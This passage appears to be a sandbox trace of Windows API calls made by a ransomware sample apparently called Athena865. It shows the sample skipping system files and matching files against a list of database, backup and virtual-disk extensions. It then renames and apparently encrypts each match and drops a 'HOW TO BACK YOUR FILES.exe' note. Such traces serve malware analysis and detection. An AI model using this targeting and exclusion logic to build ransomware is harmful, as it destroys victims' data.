lpString2="udb") returned -1 [0116.074] lstrlenW (lpString="udl") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0116.074] lstrlenW (lpString="usr") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0116.074] lstrlenW (lpString="v12") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0116.074] lstrlenW (lpString="vis") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0116.074] lstrlenW (lpString="vpd") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0116.074] lstrlenW (lpString="vvv") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0116.074] lstrlenW (lpString="wdb") returned 3 [0116.075] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0116.075] lstrlenW (lpString="wmdb") returned 4 [0116.075] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0116.075] lstrlenW (lpString="wrk") returned 3 [0116.075] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0116.075] lstrlenW (lpString="xdb") returned 3 [0116.075] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0116.075] lstrlenW (lpString="xld") returned 3 [0116.075] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0116.075] lstrlenW (lpString="xmlff") returned 5 [0116.075] lstrcmpiW (lpString1="G.DLL", lpString2="xmlff") returned -1 [0116.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.Athena865") returned 76 [0116.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.athena865"), dwFlags=0x1) returned 1 [0116.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.077] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=234880) returned 1 [0116.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0116.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.078] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.078] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.078] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39880, lpName=0x0) returned 0x17c [0116.079] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39880) returned 0x170000 [0116.123] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.124] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.124] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.124] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.126] CloseHandle (hObject=0x17c) returned 1 [0116.126] CloseHandle (hObject=0x154) returned 1 [0116.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0116.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.128] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="..") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="windows") returned -1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootmgr") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="temp") returned -1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="pagefile.sys") returned -1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="boot") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ids.txt") returned 1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ntuser.dat") returned -1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="perflogs") returned -1 [0116.128] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="MSBuild") returned -1 [0116.128] lstrlenW (lpString="IMCONTACT.DLL") returned 13 [0116.129] lstrcpyW (in: lpString1=0x241e8ba, lpString2="IMCONTACT.DLL" | out: lpString1="IMCONTACT.DLL") returned="IMCONTACT.DLL" [0116.129] lstrlenW (lpString="IMCONTACT.DLL") returned 13 [0116.129] lstrlenW (lpString="Athena865") returned 9 [0116.129] lstrcmpiW (lpString1="NTACT.DLL", lpString2="Athena865") returned 1 [0116.129] lstrlenW (lpString=".dll") returned 4 [0116.129] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".dll") returned 1 [0116.129] lstrlenW (lpString=".lnk") returned 4 [0116.129] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".lnk") returned 1 [0116.129] lstrlenW (lpString=".ini") returned 4 [0116.129] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".ini") returned 1 [0116.129] lstrlenW (lpString=".sys") returned 4 [0116.129] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".sys") returned 1 [0116.129] lstrlenW (lpString="IMCONTACT.DLL") returned 13 [0116.129] lstrlenW (lpString="bak") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0116.129] lstrlenW (lpString="ba_") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0116.129] lstrlenW (lpString="dbb") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0116.129] lstrlenW (lpString="vmdk") returned 4 [0116.129] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0116.129] lstrlenW (lpString="rar") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0116.129] lstrlenW (lpString="zip") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0116.129] lstrlenW (lpString="tgz") returned 3 [0116.129] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0116.129] lstrlenW (lpString="vbox") returned 4 [0116.130] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0116.130] lstrlenW (lpString="vdi") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0116.130] lstrlenW (lpString="vhd") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0116.130] lstrlenW (lpString="vhdx") returned 4 [0116.130] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0116.130] lstrlenW (lpString="avhd") returned 4 [0116.130] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0116.130] lstrlenW (lpString="db") returned 2 [0116.130] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0116.130] lstrlenW (lpString="db2") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0116.130] lstrlenW (lpString="db3") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0116.130] lstrlenW (lpString="dbf") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0116.130] lstrlenW (lpString="mdf") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0116.130] lstrlenW (lpString="mdb") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0116.130] lstrlenW (lpString="sql") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0116.130] lstrlenW (lpString="sqlite") returned 6 [0116.130] lstrcmpiW (lpString1="CT.DLL", lpString2="sqlite") returned -1 [0116.130] lstrlenW (lpString="sqlite3") returned 7 [0116.130] lstrcmpiW (lpString1="ACT.DLL", lpString2="sqlite3") returned -1 [0116.130] lstrlenW (lpString="sqlitedb") returned 8 [0116.130] lstrcmpiW (lpString1="TACT.DLL", lpString2="sqlitedb") returned 1 [0116.130] lstrlenW (lpString="xml") returned 3 [0116.130] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0116.131] lstrlenW (lpString="$er") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0116.131] lstrlenW (lpString="4dd") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0116.131] lstrlenW (lpString="4dl") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0116.131] lstrlenW (lpString="^^^") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0116.131] lstrlenW (lpString="abs") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0116.131] lstrlenW (lpString="abx") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0116.131] lstrlenW (lpString="accdb") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0116.131] lstrlenW (lpString="accdc") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0116.131] lstrlenW (lpString="accde") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0116.131] lstrlenW (lpString="accdr") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0116.131] lstrlenW (lpString="accdt") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0116.131] lstrlenW (lpString="accdw") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0116.131] lstrlenW (lpString="accft") returned 5 [0116.131] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0116.131] lstrlenW (lpString="adb") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.131] lstrlenW (lpString="adb") returned 3 [0116.131] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.131] lstrlenW (lpString="ade") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0116.132] lstrlenW (lpString="adf") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0116.132] lstrlenW (lpString="adn") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0116.132] lstrlenW (lpString="adp") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0116.132] lstrlenW (lpString="alf") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0116.132] lstrlenW (lpString="ask") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0116.132] lstrlenW (lpString="btr") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0116.132] lstrlenW (lpString="cat") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0116.132] lstrlenW (lpString="cdb") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0116.132] lstrlenW (lpString="ckp") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0116.132] lstrlenW (lpString="cma") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0116.132] lstrlenW (lpString="cpd") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0116.132] lstrlenW (lpString="dacpac") returned 6 [0116.132] lstrcmpiW (lpString1="CT.DLL", lpString2="dacpac") returned -1 [0116.132] lstrlenW (lpString="dad") returned 3 [0116.132] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0116.132] lstrlenW (lpString="dadiagrams") returned 10 [0116.132] lstrcmpiW (lpString1="ONTACT.DLL", lpString2="dadiagrams") returned 1 [0116.132] lstrlenW (lpString="daschema") returned 8 [0116.132] lstrcmpiW (lpString1="TACT.DLL", lpString2="daschema") returned 1 [0116.132] lstrlenW (lpString="db-journal") returned 10 [0116.133] lstrcmpiW (lpString1="ONTACT.DLL", lpString2="db-journal") returned 1 [0116.133] lstrlenW (lpString="db-shm") returned 6 [0116.133] lstrcmpiW (lpString1="CT.DLL", lpString2="db-shm") returned -1 [0116.133] lstrlenW (lpString="db-wal") returned 6 [0116.133] lstrcmpiW (lpString1="CT.DLL", lpString2="db-wal") returned -1 [0116.133] lstrlenW (lpString="dbc") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0116.133] lstrlenW (lpString="dbs") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0116.133] lstrlenW (lpString="dbt") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0116.133] lstrlenW (lpString="dbv") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0116.133] lstrlenW (lpString="dbx") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0116.133] lstrlenW (lpString="dcb") returned 3 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0116.133] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0116.133] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.Athena865") returned 80 [0116.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.athena865"), dwFlags=0x1) returned 1 [0116.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.135] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101248) returned 1 [0116.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0116.135] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.136] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.136] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.136] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18e80, lpName=0x0) returned 0x17c [0116.138] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18e80) returned 0x100000 [0116.147] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.148] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.148] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.148] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.149] CloseHandle (hObject=0x17c) returned 1 [0116.149] CloseHandle (hObject=0x154) returned 1 [0116.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0116.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.150] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2=".") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="..") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="windows") returned -1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="bootmgr") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="temp") returned -1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="pagefile.sys") returned -1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="boot") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="ids.txt") returned 1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="ntuser.dat") returned -1 [0116.150] lstrcmpiW (lpString1="LISTS", lpString2="perflogs") returned -1 [0116.151] lstrcmpiW (lpString1="LISTS", lpString2="MSBuild") returned -1 [0116.151] lstrlenW (lpString="LISTS") returned 5 [0116.151] lstrcpyW (in: lpString1=0x241e8ba, lpString2="LISTS" | out: lpString1="LISTS") returned="LISTS" [0116.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547918 [0116.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519c40 [0116.151] lstrcatW (in: lpString1="LISTS", lpString2="\\" | out: lpString1="LISTS\\") returned="LISTS\\" [0116.151] lstrcatW (in: lpString1="LISTS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LISTS\\HOW TO BACK YOUR FILES.exe") returned="LISTS\\HOW TO BACK YOUR FILES.exe" [0116.151] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how to back your files.exe"), bFailIfExists=1) returned 1 [0116.159] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".") returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="..") returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="windows") returned -1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootmgr") returned 1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="temp") returned -1 [0116.159] lstrcmpiW (lpString1="METCONV.DLL", lpString2="pagefile.sys") returned -1 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2="boot") returned 1 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ids.txt") returned 1 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntuser.dat") returned -1 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2="perflogs") returned -1 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2="MSBuild") returned -1 [0116.160] lstrlenW (lpString="METCONV.DLL") returned 11 [0116.160] lstrcpyW (in: lpString1=0x241e8ba, lpString2="METCONV.DLL" | out: lpString1="METCONV.DLL") returned="METCONV.DLL" [0116.160] lstrlenW (lpString="METCONV.DLL") returned 11 [0116.160] lstrlenW (lpString="Athena865") returned 9 [0116.160] lstrcmpiW (lpString1="TCONV.DLL", lpString2="Athena865") returned 1 [0116.160] lstrlenW (lpString=".dll") returned 4 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".dll") returned 1 [0116.160] lstrlenW (lpString=".lnk") returned 4 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".lnk") returned 1 [0116.160] lstrlenW (lpString=".ini") returned 4 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".ini") returned 1 [0116.160] lstrlenW (lpString=".sys") returned 4 [0116.160] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".sys") returned 1 [0116.160] lstrlenW (lpString="METCONV.DLL") returned 11 [0116.160] lstrlenW (lpString="bak") returned 3 [0116.160] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0116.160] lstrlenW (lpString="ba_") returned 3 [0116.160] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0116.160] lstrlenW (lpString="dbb") returned 3 [0116.160] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0116.160] lstrlenW (lpString="vmdk") returned 4 [0116.160] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0116.160] lstrlenW (lpString="rar") returned 3 [0116.160] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0116.161] lstrlenW (lpString="zip") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0116.161] lstrlenW (lpString="tgz") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0116.161] lstrlenW (lpString="vbox") returned 4 [0116.161] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0116.161] lstrlenW (lpString="vdi") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0116.161] lstrlenW (lpString="vhd") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0116.161] lstrlenW (lpString="vhdx") returned 4 [0116.161] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0116.161] lstrlenW (lpString="avhd") returned 4 [0116.161] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0116.161] lstrlenW (lpString="db") returned 2 [0116.161] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0116.161] lstrlenW (lpString="db2") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0116.161] lstrlenW (lpString="db3") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0116.161] lstrlenW (lpString="dbf") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0116.161] lstrlenW (lpString="mdf") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned 